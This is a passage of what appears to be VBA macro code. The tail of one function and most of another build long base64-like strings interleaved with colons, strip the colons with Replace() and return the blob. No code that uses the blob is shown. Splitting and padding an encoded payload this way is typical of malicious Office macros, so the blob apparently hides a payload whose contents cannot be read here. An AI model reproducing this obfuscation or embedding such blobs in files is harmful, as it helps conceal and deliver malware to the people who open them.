str = str + "/:Z:F:q:M:C:D:8:d:3:L:p:G:E:B:C:7:/:s:Z:8:4:V:t:y:C:a:4:Q:x:u:C:0:y:n:/:e:c:s:G:7:t:n:3:3:d:Z:t:B:r:"
str = str + "C:8:3:r:V:y:Z:L:q:I:F:k:U:H:x:/:h:N:A:w:o:J:w:H:A:P:W:W:I:Q:Q:O:Y:I:s:M:x:I:8:S:M:X:b:q:s:P:4:R:B:G:"
str = str + "N:T:E:S:e:u:q:s:N:5:j:5:X:d:l:k:2:R:6:n:Y:s:W:x:S:S:j:D:H:V:O:b:m:1:k:O:w:1:E:z:3:j:t:N:d:I:S:U:V:G:"
str = str + "o:m:D:w:y:A:D:G:f:f:m:U:t:i:p:D:T:r:F:Q:Q:l:i:1:p:8:W:y:A:Q:G:s:N:L:x:v:Y:e:z:U:/:b:m:q:4:X:I:y:H:3:"
str = str + "S:U:l:e:s:V:j:9:S:h:t:0:H:1:I:v:X:4:T:Q:y:q:w:k:n:S:1:F:h:y:w:p:x:6:K:F:+:i:s:g:K:v:C:y:8:r:3:P:i:W:"
str = str + "A:h:Q:Z:t:l:S:m:p:H:S:o:7:n:r:2:x:D:i:3:T:h:f:C:M:Q:M:S:+:U:2:6:d:A:E:J:e:u:8:t:3:V:z:j:r:F:L:j:h:J:"
str = str + "d:j:G:m:u:I:t:S:6:q:R:d:1:y:G:k:1:d:c:9:c:9:B:I:q:t:+:o:i:+:m:k:t:Q:7:H:s:Y:u:r:n:H:R:w:b:9:n:0:h:d:"
str = str + "+:Z:h:h:o:X:G:Y:1:r:D:K:z:+:f:M:R:w:u:O:z:1:O:B:b:7:I:U:+:Y:3:F:4:w:4:Z:r:i:3:B:E:8:C:n:m:j:L:x:3:k:"
str = str + "7:l:Y:A:p:n:b:6:N:w:9:Z:B:u:P:W:G:I:J:s:4:s:s:/:z:n:/:0:A:5:i:e:r:w:e:k:F:E:L:t:4:C:o:B:h:h:v:r:e:k:"
str = str + "0:j:K:G:E:w:9:l:F:2:6:o:l:z:S:T:e:R:A:O:m:j:a:2:i:+:P:i:r:m:K:m:3:D:Y:I:7:a:T:H:s:O:X:k:Y:x:a:z:E:E:"
str = str + "v:9:m:0:B:M:f:V:i:J:A:r:R:V:6:o:H:f:b:Q:L:C:P:F:n:M:k:j:4:P:t:2:S:K:R:n:Z:m:2:8:a:b:P:z:e:6:3:h:C:C:"
str = str + "f:B:M:B:b:J:S:C:9:/:5:p:O:q:u:d:v:+:l:E:u:b:M:z:Y:V:A:N:M:I:D:J:N:Z:g:G:6:S:G:4:+:V:V:6:b:e:R:9:j:N:"
str = str + "1:s:C:c:2:d:R:8:x:d:F:o:o:7:4:8:K:c:M:5:5:y:a:8:r:G:2:p:H:s:q:e:+:M:o:v:V:C:1:7:U:F:8:l:l:o:U:2:p:Y:"
str = str + "W:x:l:v:9:/:b:l:X:H:B:s:V:w:t:D:S:r:I:w:9:N:d:N:K:i:o:v:K:0:F:T:o:l:2:+:j:1:i:d:j:4:O:d:M:i:X:U:M:x:"
str = str + "L:N:X:2:v:S:N:M:k:i:Z:5:O:z:q:z:z:b:3:q:2:F:l:y:0:G:8:c:a:2:p:H:C:2:b:C:0:0:5:+:0:5:S:m:t:v:e:g:X:Z:"
str = str + "4:W:L:X:t:4:K:W:4:w:D:2:u:n:9:G:j:H:x:G:l:5:g:t:Z:M:N:M:0:6:w:3:m:m:W:t:2:r:A:S:W:n:r:/:R:5:2:z:I:A:"
str = str + "w:m:n:m:5:B:G:o:V:R:K:m:a:6:x:O:O:7:T:V:O:L:N:z:/:D:F:m:b:Q:b:p:3:2:v:m:+:4:H:L:y:e:9:k:V:m:z:R:+:L:"
str = str + "a:j:a:B:Y:F:G:+:E:T:J:V:H:E:r:z:f:X:/:G:f:I:6:q:8:l:K:M:z:0:t:/:z:Z:O:9:d:u:I:g:0:t:u:c:F:f:H:3:W:y:"
str = str + "I:L:Y:V:Z:e:n:M:D:d:W:F:Y:E:5:E:6:p:+:f:k:L:q:t:Z:R:8:2:P:6:5:M:K:x:9:h:E:f:C:j:5:O:q:n:3:6:m:W:E:K:"
str = str + "D:L:T:o:m:b:W:R:k:m:h:z:k:P:n:w:3:N:N:T:q:b:/:B:U:m:t:f:G:I:K:u:M:Q:Q:x:w:f:x:C:M:+:s:0:U:T:f:Y:D:D:"
str = str + "i:A:s:X:C:E:8:G:g:P:w:x:z:f:r:o:j:s:X:o:P:W:e:r:V:p:9:c:0:C:B:e:C:R:P:g:S:I:l:D:6:s:a:2:A:9:I:T:d:8:"
str = str + "6:J:V:7:j:I:G:/:z:9:w:f:7:S:+:E:J:G:F:8:t:K:9:u:+:K:6:8:n:/:S:l:E:x:C:z:b:+:u:l:N:8:T:K:c:Z:N:q:k:u:"
str = str + "f:t:n:J:V:X:l:E:d:n:Q:y:U:X:l:F:l:3:D:I:k:A:V:z:z:E:B:b:V:R:x:5:1:1:H:m:k:I:M:p:F:6:k:M:p:N:6:N:5:Q:"
str = str + "b:s:X:D:Q:a:p:1:Z:A:r:p:j:M:6:o:e:a:G:e:L:j:a:D:z:I:I:n:P:0:r:u:h:B:3:c:a:2:d:4:b:k:4:v:K:y:J:N:a:0:"
str = str + "3:j:8:c:L:L:6:I:E:t:H:0:Z:+:P:F:5:Z:/:W:o:h:c:m:C:s:p:T:d:C:z:w:e:+:e:1:0:4:u:q:u:g:K:p:E:z:2:+:c:d:"
str = str + "r:q:H:c:4:S:V:o:W:s:P:Y:/:i:g:m:j:V:7:j:a:/:3:Z:b:b:+:0:v:T:i:r:I:W:a:S:R:m:t:x:H:5:4:8:9:/:o:2:p:L:"
str = str + "S:6:3:H:V:a:T:Z:l:p:1:K:P:L:o:a:U:b:L:n:l:u:s:1:I:Y:H:z:4:i:y:K:0:f:F:e:K:j:W:X:B:V:W:B:p:E:U:5:y:x:"
str = str + "S:z:F:c:U:G:D:j:Z:a:4:k:6:B:Z:H:s:5:M:0:0:0:n:H:w:e:Q:z:8:H:L:K:L:j:C:I:s:T:I:C:x:G:U:d:I:s:a:l:s:y:"
str = str + "P:1:b:R:R:S:3:u:6:7:t:k:q:Z:8:R:6:6:X:N:5:A:z:e:b:P:f:i:M:D:p:9:3:9:R:E:L:I:b:h:8:E:b:r:y:k:2:N:0:V:"
str = str + "G:4:R:1:B:m:z:y:O:3:s:9:e:v:l:e:n:f:n:u:u:K:i:w:B:G:i:O:u:m:O:N:4:r:z:b:q:A:K:a:I:u:t:S:C:R:F:C:7:s:"
str = str + "D:A:4:b:q:b:1:w:M:P:t:I:X:E:4:B:q:m:z:E:D:9:U:m:k:l:A:d:K:x:u:H:x:+:1:r:A:M:a:h:t:o:r:d:0:u:O:C:L:K:"
str = str + "V:/:+:6:a:o:N:v:V:s:B:Q:V:e:m:r:5:m:0:G:A:I:h:k:Y:l:J:6:d:S:R:C:R:j:/:m:1:7:+:M:P:v:n:5:L:R:i:+:i:x:"
str = str + "J:g:k:x:Q:y:r:h:L:v:e:X:I:n:N:n:b:C:/:b:s:0:n:O:S:R:H:s:M:H:f:u:V:o:0:t:Z:1:3:x:L:7:Y:k:V:4:N:E:t:T:"
str = str + "8:9:B:k:v:K:L:x:k:j:I:w:N:T:q:z:Y:V:a:G:d:t:R:K:g:w:c:J:a:f:p:E:Q:N:K:C:P:o:t:E:Y:/:M:f:3:R:c:i:w:C:"
str = str + "u:Z:e:Q:k:E:x:+:9:U:1:f:Q:m:E:J:y:5:5:U:u:i:Y:F:S:A:b:m:w:w:w:X:w:c:j:E:F:h:H:Q:j:S:s:2:1:a:W:m:O:k:"
str = str + "i:w:0:m:z:n:l:o:M:T:V:g:N:B:/:2:1:l:e:U:o:A:k:l:1:W:9:b:i:k:1:B:w:h:C:d:4:1:C:c:J:N:P:X:u:0:F:N:5:Q:"
str = str + "F:w:R:L:6:+:9:q:l:5:a:K:B:j:r:0:J:8:0:u:b:E:p:+:Z:a:b:2:L:d:p:1:D:M:Y:S:r:v:r:A:N:1:c:p:/:o:y:W:k:P:"
str = str + "f:E:o:T:D:6:m:C:H:y:n:k:O:z:f:n:s:F:M:W:a:C:N:u:g:V:l:j:B:9:1:c:w:D:Z:f:2:D:P:k:J:k:O:4:r:b:1:h:i:d:"
str = str + "X:O:t:R:A:f:n:N:I:m:j:A:m:w:d:t:k:+:P:1:D:q:9:w:p:0:Z:3:F:4:o:g:7:D:4:I:d:p:e:Z:S:I:g:B:N:4:T:P:6:5:"
str = str + "y:w:N:M:L:4:U:K:0:1:e:A:O:x:J:/:t:M:U:Z:z:0:/:q:r:N:F:/:j:3:J:a:s:8:S:M:f:G:3:O:G:E:I:V:H:v:h:N:r:n:"
str = str + "S:h:f:8:R:R:8:5:v:+:8:7:G:L:r:u:f:m:e:l:t:e:D:R:e:S:C:6:B:N:b:/:E:q:8:C:m:t:g:b:o:m:k:+:X:I:1:U:0:c:"
str = str + "l:U:C:q:U:1:d:v:a:U:+:A:Z:h:W:Z:5:K:X:h:B:L:O:z:1:z:N:w:h:A:8:e:p:i:D:9:P:c:e:X:G:1:j:7:Q:4:I:r:Z:/:"
str = str + "0:2:n:h:F:O:7:t:U:t:L:0:i:+:v:K:m:X:L:i:T:c:Q:o:Y:K:9:E:9:1:/:x:4:f:Z:q:4:B:I:k:E:X:N:x:m:K:i:K:h:b:"
str = str + "L:1:i:k:B:9:Q:1:Z:f:I:B:l:y:6:M:P:8:G:d:N:4:D:y:N:+:u:x:F:j:H:f:H:f:G:I:Q:P:2:n:Y:s:Y:U:g:6:N:r:H:A:"
str = str + "u:h:M:b:b:T:5:F:4:S:6:5:Q:I:s:C:M:i:5:p:Z:7:v:5:3:a:a:B:4:y:n:x:5:X:R:j:A:I:P:H:T:w:m:i:i:l:+:4:N:w:"
str = str + "+:u:Z:s:R:b:d:j:k:t:6:u:8:7:E:r:F:D:s:d:i:1:5:h:B:j:/:N:3:W:B:5:r:q:c:S:w:T:J:L:O:S:J:D:3:u:R:n:a:g:"
str = str + "P:l:g:+:5:0:V:E:2:Q:h:x:w:F:A:3:P:S:l:r:+:W:w:u:c:x:N:B:T:z:O:V:c:U:5:r:V:A:u:c:B:V:n:c:t:C:W:0:B:r:"
str = str + "q:F:U:V:h:8:H:Y:E:n:N:3:R:+:w:+:w:/:5:O:w:h:h:/:3:V:/:A:R:S:9:M:n:l:I:4:q:2:G:j:1:O:1:l:0:/:h:u:N:I:"
str = str + "C:f:Z:x:r:K:G:8:1:o:C:8:t:U:9:G:w:f:M:I:G:v:N:5:w:x:N:U:P:X:9:+:P:V:Z:V:t:r:5:q:Y:1:7:h:j:C:q:r:W:r:"
str = str + "i:G:u:H:s:2:P:g:v:E:5:s:F:N:l:v:E:a:r:m:w:m:2:A:Y:W:9:Y:U:I:h:6:A:H:k:J:r:I:N:3:f:E:1:c:A:d:n:J:k:g:"
str = str + "H:P:k:t:0:2:d:2:P:3:s:9:g:q:3:q:M:c:v:m:9:H:w:d:2:E:N:c:Y:M:K:l:Q:o:S:M:5:n:o:z:K:6:0:i:c:e:H:T:J:G:"
str = str + "u:o:t:x:5:X:8:w:r:I:v:W:6:S:m:x:J:i:d:H:g:a:6:q:3:2:Z:D:N:U:C:4:g:6:z:F:V:H:T:S:J:p:4:m:x:9:V:/:K:/:"
str = str + "8:K:y:I:w:l:a:G:n:v:m:y:/:7:G:Y:G:B:l:l:J:W:y:f:K:T:w:T:3:s:B:i:S:D:/:1:J:w:h:q:B:v:C:5:L:W:q:q:4:c:"
str = str + "E:e:/:B:K:o:E:c:p:q:r:3:J:S:b:1:Y:P:g:S:7:A:F:R:e:t:i:n:s:v:D:N:8:3:+:d:F:3:1:W:M:r:0:q:S:C:D:F:n:S:"
str = str + "f:g:r:b:J:J:4:M:Y:O:V:c:y:W:c:a:Z:x:k:x:q:o:E:v:v:V:4:4:4:c:R:Y:G:f:N:T:j:V:V:J:x:S:k:I:N:+:J:v:o:F:"
str = str + "W:D:V:O:m:T:j:5:R:R:I:1:k:w:/:S:Y:5:e:M:f:7:o:Y:t:+:0:a:S:/:0:k:4:l:4:z:V:p:D:3:c:R:d:b:0:w:/:I:Z:s:"
str = str + "g:b:0:D:1:t:x:T:B:J:r:q:w:Z:4:5:y:w:p:D:p:R:m:s:x:C:w:S:Z:U:V:l:8:X:p:Z:H:M:Q:W:o:Y:a:u:j:h:l:o:r:d:"
str = str + "c:Q:+:h:h:2:j:4:E:P:s:p:Q:Z:j:v:B:Z:g:y:Z:x:5:I:D:5:7:j:q:i:p:G:P:r:O:2:F:Y:/:g:U:W:N:U:5:T:e:B:k:S:"
str = str + "Q:u:k:I:I:m:G:h:F:p:M:X:o:O:0:X:e:J:J:D:P:E:p:i:F:W:k:w:m:+:9:r:R:H:e:x:N:b:j:w:"
str = Replace(str, ":", "")
A = str
End Function
Function B() As String
Dim str As String
str = "e:F:B:S:K:r:g:Y:c:R:J:P:A:p:k:6:P:A:G:r:i:C:X:j:5:A:U:3:U:k:/:B:z:i:O:2:H:8:B:Q:j:K:5:9:y:h:I:w:t:I:"
str = str + "0:Y:a:s:k:c:J:p:R:d:h:1:o:X:T:m:M:e:r:t:d:L:f:Z:b:T:G:a:P:O:y:d:+:Y:4:u:s:E:W:b:/:u:g:g:+:v:8:t:v:G:"
str = str + "x:X:b:z:y:3:o:l:j:9:F:o:+:e:w:7:r:F:n:7:/:y:L:z:P:7:R:d:j:u:p:7:L:T:I:U:8:j:U:b:H:d:0:O:C:T:3:E:f:V:"
str = str + "/:8:q:W:T:d:a:z:K:x:Z:2:p:K:G:w:L:8:1:U:2:2:4:0:I:G:g:k:f:g:N:S:l:7:B:y:R:g:/:s:H:E:f:q:1:A:R:U:m:8:"
str = str + "m:7:A:o:j:p:N:/:k:l:a:H:B:A:W:D:a:x:V:E:0:k:T:F:n:I:j:S:o:7:S:a:N:I:6:Z:0:4:g:J:N:v:U:6:b:o:g:W:u:o:"
str = str + "K:a:F:0:W:i:B:y:5:S:v:Y:m:g:H:Z:f:r:e:N:j:v:T:Z:j:7:c:S:M:l:e:Q:M:j:M:+:4:0:2:9:x:3:P:3:i:0:c:q:u:K:"
str = str + "n:8:b:g:k:z:g:p:n:X:Y:M:C:5:d:W:r:H:Z:V:0:/:Q:L:u:R:/:z:D:h:W:L:M:b:r:v:N:X:l:d:T:7:l:d:P:4:R:x:i:h:"
str = str + "K:K:9:a:I:E:h:f:1:v:V:A:p:v:q:7:c:k:w:P:D:o:V:S:J:E:M:8:d:e:/:U:9:M:J:q:9:P:v:3:d:H:G:s:M:g:/:G:2:6:"
str = str + "6:o:f:r:g:Z:f:P:A:T:x:X:t:5:U:+:B:o:W:u:e:f:P:3:8:+:h:m:a:6:a:n:W:9:y:B:d:Y:K:9:4:o:a:1:P:n:c:/:s:2:"
str = str + "5:E:n:N:8:N:y:5:B:9:m:3:B:1:q:D:D:X:n:u:Q:J:I:w:w:V:X:g:o:1:+:P:w:X:5:l:N:f:I:R:M:m:l:k:P:4:2:h:C:b:"
str = str + "f:/:g:D:Q:6:/:m:w:v:y:X:d:j:e:G:U:8:J:W:b:F:H:d:o:J:T:7:B:e:C:j:i:m:L:t:i:m:G:b:I:A:M:f:N:S:U:e:i:R:"
str = str + "F:o:4:4:1:F:7:4:+:T:V:6:5:N:S:Y:B:4:r:T:u:N:g:z:X:n:r:d:I:m:G:L:7:u:g:m:Y:v:f:1:i:J:g:1:B:d:4:s:x:B:"
str = str + "G:k:4:d:O:m:U:H:R:Y:N:2:c:7:o:w:Y:M:O:W:b:r:d:Q:v:E:U:2:e:k:t:n:F:G:a:f:f:5:u:p:G:a:3:P:m:R:j:1:9:3:"
str = str + "B:I:Y:Y:R:a:2:Q:3:N:u:y:U:0:k:i:Y:e:o:L:F:U:j:U:u:k:+:R:u:0:i:r:C:r:z:Z:u:S:J:3:r:J:O:M:L:v:u:e:k:L:"
str = str + "D:G:o:K:l:M:N:H:5:x:H:t:W:0:3:k:F:g:L:x:K:t:P:z:T:S:n:8:+:i:l:5:j:d:Q:5:j:C:+:l:f:3:S:5:B:a:Z:1:p:F:"
str = str + "Z:8:Y:i:x:F:9:m:6:D:j:e:w:o:g:W:M:Q:Y:5:u:S:9:C:x:x:J:e:r:x:4:h:n:j:y:p:q:d:o:p:I:s:e:C:7:T:3:B:d:t:"
str = str + "9:H:+:1:b:Z:y:b:e:f:w:D:f:a:l:e:R:P:i:n:X:R:W:P:N:c:s:O:Y:Q:X:M:2:L:F:y:b:u:H:w:Z:0:B:H:J:7:8:o:n:S:"
str = str + "+:6:o:D:z:s:J:X:A:/:f:I:I:j:B:9:I:t:U:S:n:M:p:4:j:7:k:O:G:x:I:o:D:8:J:l:V:1:i:9:s:B:X:t:u:1:R:O:c:w:"
str = str + "D:k:k:6:F:o:C:2:e:a:E:0:O:b:V:p:R:V:k:R:8:U:Z:h:5:T:U:i:5:D:T:X:J:Y:9:9:U:p:a:V:S:r:N:X:E:i:a:C:N:i:"
str = str + "w:O:n:V:9:B:1:g:r:6:B:P:F:e:W:7:y:5:t:J:s:c:3:l:H:N:g:p:/:a:K:/:J:x:S:p:t:2:N:g:C:D:f:D:b:P:V:t:1:k:"
str = str + "O:w:4:E:4:C:A:y:4:o:R:n:U:Z:A:2:s:N:S:Q:V:J:m:c:s:j:3:R:r:N:Z:s:9:2:p:p:N:c:R:N:0:V:G:H:Z:U:K:P:g:D:"
str = str + "i:0:o:n:q:v:d:d:z:X:f:C:N:K:w:w:C:d:y:X:H:I:0:i:Z:a:Y:G:+:g:q:b:5:u:b:t:4:L:U:w:z:I:6:/:e:2:D:1:h:v:"
str = str + "7:/:j:F:C:z:1:Q:Q:4:2:Y:C:G:T:Z:G:y:j:5:M:J:t:/:A:y:K:V:w:7:4:f:u:n:n:v:4:2:h:N:E:X:t:8:F:e:J:i:R:n:"
str = str + "s:l:s:T:O:h:B:f:a:q:5:G:U:H:k:U:B:N:1:h:W:t:1:G:S:D:k:o:X:1:Z:5:n:0:Q:B:w:B:e:y:V:y:X:e:/:z:Z:i:0:W:"
str = str + "+:7:f:3:Q:J:u:f:P:T:R:O:G:3:f:L:g:m:a:1:c:8:6:v:H:v:0:H:z:W:k:n:E:D:L:0:8:A:u:y:e:O:a:s:/:7:N:N:w:2:"
str = str + "i:o:3:4:1:7:t:M:8:L:r:Y:y:z:N:H:a:7:Z:8:X:0:P:v:v:f:V:H:a:t:T:B:H:a:v:q:t:g:O:I:I:i:l:h:X:5:c:u:A:M:"
str = str + "U:0:t:B:V:F:c:7:7:g:t:V:u:R:X:0:I:r:P:u:h:5:5:G:R:I:u:R:D:x:v:u:i:l:z:E:y:g:6:Q:y:i:O:X:z:i:4:i:N:i:"
str = str + "B:h:I:i:g:C:N:4:I:s:s:v:r:4:Y:8:6:U:I:L:s:P:U:q:3:N:9:D:V:h:9:+:v:4:g:V:/:h:v:v:k:0:C:e:O:z:/:O:k:N:"
str = str + "W:E:e:m:z:3:C:1:q:V:h:g:e:M:K:+:a:j:S:w:n:f:R:a:o:8:d:s:K:/:D:g:T:2:U:w:P:m:V:8:p:e:n:b:0:K:G:H:3:G:"
str = str + "A:0:S:U:E:Q:H:g:c:X:T:R:m:m:B:r:v:+:l:V:Q:S:X:u:W:g:e:a:4:E:Z:Q:u:e:H:+:x:7:8:w:V:I:R:U:Q:F:q:X:a:N:"
str = str + "B:c:x:s:Y:j:D:m:W:G:p:H:f:s:2:l:U:L:C:s:Y:v:4:8:0:R:j:e:r:V:T:8:R:4:a:/:K:k:2:Q:S:0:4:5:d:d:E:u:X:V:"
str = str + "J:D:6:V:S:8:t:V:/:s:B:+:A:B:5:C:n:3:n:M:2:z:D:2:k:/:h:b:2:O:4:T:z:X:G:G:C:Q:+:a:w:T:f:n:x:d:X:4:j:R:"
str = str + "N:D:M:L:T:f:c:o:+:H:w:u:j:A:p:0:y:l:F:M:9:L:y:9:2:c:F:n:Z:O:6:E:8:S:4:W:Q:2:p:Q:T:J:u:5:O:i:5:U:5:P:"
str = str + "O:d:2:m:E:5:7:R:E:g:U:W:2:j:4:3:x:7:B:b:x:B:t:l:h:Y:m:O:4:U:z:s:j:F:5:c:q:4:e:H:U:8:/:T:b:o:7:9:P:o:"
str = str + "Y:t:Q:r:N:k:G:E:x:x:x:B:S:z:0:z:/:+:N:a:L:z:8:i:S:f:s:6:y:q:p:z:1:+:v:n:d:K:6:J:L:/:D:a:q:X:s:d:g:F:"
str = str + "B:C:l:W:Y:A:t:P:4:6:D:h:B:o:Y:h:D:7:m:k:g:L:j:2:p:z:H:G:+:s:I:n:C:3:X:3:8:M:H:R:F:G:Z:1:D:U:r:T:D:6:"
str = str + "8:5:r:P:d:O:K:T:E:r:h:U:M:s:k:M:Q:V:3:4:C:h:H:U:8:7:E:j:3:c:7:b:V:G:4:n:m:G:0:u:s:7:a:8:d:1:e:1:o:Q:"
str = str + "u:Z:p:q:q:M:2:y:+:p:O:6:2:M:+:I:P:n:N:I:/:A:F:D:O:X:6:c:X:x:Y:M:P:U:5:n:k:x:u:V:u:e:F:n:s:l:K:9:N:H:"
str = str + "M:A:G:w:K:Z:S:l:k:o:w:9:v:Y:E:m:p:3:U:+:H:W:R:a:Q:Q:B:a:4:g:P:f:9:g:i:K:b:K:J:y:W:i:c:z:I:A:W:C:A:g:"
str = str + "7:6:C:w:E:O:9:m:A:d:M:k:A:m:A:j:N:T:Z:v:R:c:n:D:A:o:h:t:4:L:P:B:O:U:s:N:j:/:S:Y:W:s:y:B:Q:v:N:n:U:E:"
str = str + "s:r:c:V:s:+:g:u:b:k:3:g:5:x:s:R:V:A:5:S:z:Z:2:W:8:i:+:i:N:H:K:n:A:G:Z:a:B:J:E:O:9:v:N:q:o:+:B:P:M:u:"
str = str + "8:7:h:t:A:2:1:z:S:g:n:b:g:p:S:N:p:c:H:U:y:C:J:f:Y:7:s:e:8:R:d:o:v:y:e:/:E:v:N:V:C:p:e:7:F:O:T:F:o:H:"
str = str + "v:h:T:Q:t:e:v:d:R:f:7:4:0:T:3:H:U:+:O:7:y:F:S:7:Z:/:H:R:x:4:b:h:/:L:r:J:e:G:z:P:+:L:3:m:m:l:d:q:K:l:"
str = str + "M:3:1:r:w:U:P:/:8:m:E:a:V:X:R:T:7:Q:3:M:H:D:c:G:x:f:w:a:U:i:H:h:y:E:a:t:s:P:c:6:Y:9:o:t:v:l:8:y:b:8:"
str = str + "J:m:I:x:T:y:t:d:n:i:3:o:7:A:u:d:F:k:a:d:M:m:Z:Y:O:S:p:L:S:6:V:g:g:Z:1:2:F:3:P:q:Z:H:6:I:v:l:x:2:x:R:"
str = str + "/:H:m:a:z:R:n:t:I:J:x:H:W:I:4:U:K:x:9:r:M:T:b:l:R:P:E:g:o:V:V:7:9:n:9:b:K:H:x:3:W:G:U:T:R:T:x:8:A:1:"
str = str + "c:t:T:7:1:2:L:0:H:R:Z:Y:Y:N:l:E:s:S:v:s:J:y:5:t:Y:+:Z:l:Z:p:4:P:/:s:B:7:n:t:Z:Z:X:a:R:a:a:Q:I:Q:w:s:"
str = str + "f:P:c:k:f:Z:4:8:+:u:3:1:v:C:9:p:V:l:t:u:I:v:g:z:G:u:N:D:p:h:x:g:9:y:V:4:a:L:c:U:3:B:6:K:W:T:o:e:O:N:"
str = str + "X:d:O:3:d:/:3:Z:v:L:j:g:o:/:r:U:o:J:Q:W:z:C:w:m:P:c:c:s:A:Q:b:p:1:Z:L:H:M:f:G:H:i:t:n:m:z:Z:Y:v:V:i:"
str = str + "u:A:G:U:m:R:R:a:s:a:3:P:S:B:V:4:2:O:f:E:+:o:W:B:E:i:J:X:Q:N:Q:K:j:0:f:v:V:Y:x:N:6:c:Z:s:t:+:W:H:S:4:"
str = str + "X:F:3:V:R:I:k:M:q:B:J:M:5:h:j:T:c:k:z:+:Z:i:y:2:i:x:n:D:0:E:M:D:W:O:1:5:3:I:g:3:g:u:+:m:h:n:b:h:6:Y:"
str = str + "O:q:p:Q:p:M:J:z:m:A:e:X:4:S:5:p:4:v:Q:G:u:4:r:i:x:J:N:i:w:a:S:x:m:g:S:5:5:R:Z:A:d:r:3:J:v:X:A:M:g:F:"
str = str + "P:Z:0:l:I:l:P:R:a:o:W:3:i:n:v:6:v:5:Q:k:y:b:Y:S:i:f:J:q:N:k:a:G:i:G:c:z:X:E:k:n:d:V:B:W:W:a:+:r:j:o:"
str = str + "J:+:R:a:u:+:h:I:Y:Z:/:b:X:i:v:w:v:B:y:w:j:Q:V:7:0:o:Q:W:0:b:B:C:x:R:S:u:2:o:L:m:S:A:B:o:o:Z:f:e:9:3:"
str = str + "B:6:Z:Y:Z:p:l:p:A:G:H:b:y:2:L:H:s:g:4:7:A:k:f:t:m:h:7:O:S:o:r:q:8:1:e:J:I:H:v:4:D:j:0:c:K:2:o:q:A:t:"
str = str + "B:+:x:b:Q:q:P:3:O:O:2:V:o:R:L:9:5:j:U:3:r:8:B:O:y:G:+:X:s:+:H:7:x:X:d:W:+:4:3:j:1:2:n:Z:E:k:Z:O:d:S:"
str = str + "k:0:u:R:c:H:P:+:Z:2:d:x:V:f:o:i:B:v:k:s:y:g:G:+:k:O:C:q:1:G:G:8:o:U:2:U:c:A:8:i:4:g:a:7:u:U:4:w:E:+:"
str = str + "5:O:z:L:S:U:2:+:K:Z:3:7:j:X:W:h:M:f:r:E:H:S:N:u:J:J:N:d:t:4:h:+:x:w:F:V:b:v:i:h:w:h:8:p:U:j:B:y:2:C:"
str = str + "M:u:o:L:s:J:W:j:0:B:O:e:C:2:h:e:T:1:K:Z:r:a:3:c:v:G:o:1:S:j:d:7:P:2:L:L:G:3:S:0:n:t:w:V:D:L:x:8:C:i:"
str = str + "v:1:U:g:J:Y:k:1:q:w:Z:l:C:3:j:5:f:M:X:p:k:r:E:G:H:P:m:w:/:i:t:M:5:2:P:F:1:q:T:z:8:v:8:Q:N:1:G:U:3:o:"
str = str + "/:v:+:Z:0:z:w:Z:g:W:5:P:c:u:p:c:Y:j:7:a:C:k:C:Z:m:Y:2:k:Z:/:U:n:N:e:f:P:q:J:K:g:s:Q:b:C:0:x:J:m:b:u:"
str = str + "Z:P:0:I:4:n:Z:c:u:X:A:F:q:4:V:u:Q:G:V:y:8:w:n:e:U:N:1:b:O:m:1:4:i:0:n:p:n:P:F:3:m:q:b:3:e:1:v:x:1:r:"
str = str + "0:H:G:F:s:U:D:F:A:5:/:H:+:F:j:F:4:U:2:j:G:a:E:6:4:M:H:3:n:D:M:+:l:L:s:I:l:a:E:V:s:b:t:v:k:c:l:+:I:g:"
str = str + "2:+:y:V:X:K:b:V:W:A:s:g:F:Z:D:o:7:/:a:0:W:Y:o:C:y:0:1:x:c:k:x:z:d:Z:k:t:Y:m:s:W:k:x:j:r:b:t:+:r:P:g:"
str = str + "y:J:T:6:9:G:F:B:6:l:m:b:Y:l:Z:l:A:A:O:+:x:B:p:t:w:X:y:c:J:5:2:K:E:I:n:E:T:I:s:Q:w:Y:b:l:a:/:9:K:G:F:"
str = str + "t:l:7:w:r:D:q:H:P:z:D:N:8:D:E:I:o:a:1:D:x:v:w:y:8:A:u:q:i:J:A:9:i:L:W:v:+:Q:R:0:f:8:h:W:Z:O:N:X:e:+:"
str = str + "T:Y:W:V:G:E:U:A:L:A:A:0:0:Q:N:s:G:z:S:/:A:f:O:Z:B:p:i:q:F:t:8:u:0:A:Q:Q:P:J:a:i:O:H:k:g:m:l:p:W:g:i:"
str = str + "O:h:m:j:Q:6:g:r:J:U:n:k:k:T:F:u:r:i:7:u:1:G:C:j:M:V:T:w:8:S:2:S:E:V:m:Z:T:1:5:8:x:r:P:T:g:h:C:y:b:E:"
str = str + "W:c:q:D:4:4:p:o:6:D:L:C:d:2:s:5:j:1:6:B:u:A:c:l:N:o:5:C:4:u:K:R:U:y:r:B:B:2:r:e:i:B:X:Z:1:Q:4:H:6:d:"
str = str + "v:V:Q:P:c:Y:h:W:b:t:n:B:I:C:K:e:r:L:A:d:Z:q:R:r:U:1:S:T:D:t:O:F:e:v:k:G:e:B:H:Q:k:Z:7:9:H:O:J:v:N:S:"
str = str + "+:f:X:9:r:I:r:u:k:m:f:t:k:h:+:A:H:5:6:2:0:q:q:/:L:Y:U:E:+:+:c:l:/:Q:Q:M:W:u:g:Q:D:e:P:9:a:M:o:J:m:T:"
str = str + "i:4:c:v:0:w:U:2:0:l:2:1:h:y:E:9:l:F:N:u:e:n:i:y:v:W:b:D:5:o:9:6:b:I:4:X:X:O:d:q:5:r:x:C:0:x:6:N:v:D:"
str = str + "8:M:E:c:+:k:Z:r:Y:f:o:s:N:+:+:E:E:/:7:T:x:C:l:O:b:K:/:b:4:u:B:n:3:n:J:H:T:B:G:n:P:W:n:s:t:b:x:Y:A:o:"
str = str + "l:J:s:q:k:A:J:1:8:6:6:7:g:v:8:c:l:Y:Q:T:Z:M:A:h:w:W:w:z:c:G:x:9:x:9:1:I:0:+:n:G:m:X:3:N:R:I:I:8:P:e:"
str = str + "S:6:5:9:U:v:A:A:2:b:K:q:6:/:p:s:h:0:7:t:X:9:1:9:M:m:1:4:f:r:S:D:0:B:Z:u:T:/:i:+:A:V:j:Z:m:F:M:4:b:i:"
str = str + "L:z:b:G:r:J:3:G:z:p:P:k:O:j:9:F:F:j:D:i:X:7:+:w:4:w:B:O:1:t:B:K:4:S:E:K:v:t:N:J:J:0:J:q:h:z:K:7:e:W:"
str = str + "+:E:V:G:6:G:l:V:A:k:e:n:q:Q:a:W:u:Y:7:U:B:I:x:U:j:T:q:O:d:K:5:a:H:7:b:j:l:R:i:x:A:Z:c:I:m:D:W:6:l:Z:"
str = str + "M:K:+:E:J:y:y:b:2:9:q:g:8:5:Y:R:K:g:K:u:S:R:V:C:g:B:q:U:c:H:P:h:C:a:d:H:e:k:a:F:m:H:w:2:2:l:1:Z:t:x:"
